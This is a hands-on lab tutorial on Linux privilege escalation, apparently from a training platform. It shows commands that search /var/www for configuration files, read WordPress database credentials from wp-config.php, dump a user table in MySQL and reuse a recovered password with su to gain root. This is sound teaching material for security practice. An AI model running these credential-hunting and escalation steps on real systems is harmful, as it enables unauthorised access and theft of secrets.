Web service configuration files may contain sensitive information, such as database credentials, which can be used for privilege escalation if the administrator has reused passwords.
-
First, open a terminal and navigate to /home/labex/project
.
cd /home/labex/project
Let's begin by initializing the lab environment:
./env_setup_1.sh
After the initialization, we are now operating as the www-data
user, simulating a low-privileged shell obtained through a web vulnerability.
-
Web services on Linux are typically stored in the /var/www
directory. We should focus on the following files:
database.php
user.php
*.config
config.php
We can search for these files using the following command:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
Expected output:
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
Additionally, if the target system is using a Content Management System (CMS), we can search for the default database connection file location for that specific CMS.
-
In this lab environment, the server is using the WordPress CMS. By searching, we find that the WordPress database configuration is stored in the /var/www/wordpress/wp-config.php
file:
more /var/www/wordpress/wp-config.php
This file contains the MySQL root account credentials:
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
-
Considering the possibility of password reuse by the administrator, we can attempt to log in as the system root user using this password:
su -
Unfortunately, this password does not work for the root user.
-
Next, we can log in to the MySQL database and search for more information:
mysql -u root -p -h 127.0.0.1
Enter the password from the wp-config.php
file:
cD8M2M8fMiDHu4m1
Inside the MySQL database, we can execute the following commands to gather more information:
Check the available databases:
show databases;
Select the ROB
database:
use ROB;
List the tables in the ROB
database:
show tables;
Select the rob_user
table:
select * from rob_user;
From the database, we obtain two more sets of credentials:
root:CMPc5MoAGf
alice:psoj9apv4u
Exit the MySQL database:
exit
-
We can try logging in as the root user using the password CMPc5MoAGf
:
su -
Enter the password we obtained from the database:
CMPc5MoAGf
This time, we successfully gain root access!
-
Create a file named proof.txt
in the /root
directory to demonstrate successful privilege escalation:
echo "Success" > /root/proof.txt
Verify the file has been created:
ls /root/proof.txt
In this step, we learned how to find and exploit sensitive information in web service configuration files to escalate privileges. The core idea is to search for authentication credentials on the server and leverage potential password reuse for privilege escalation.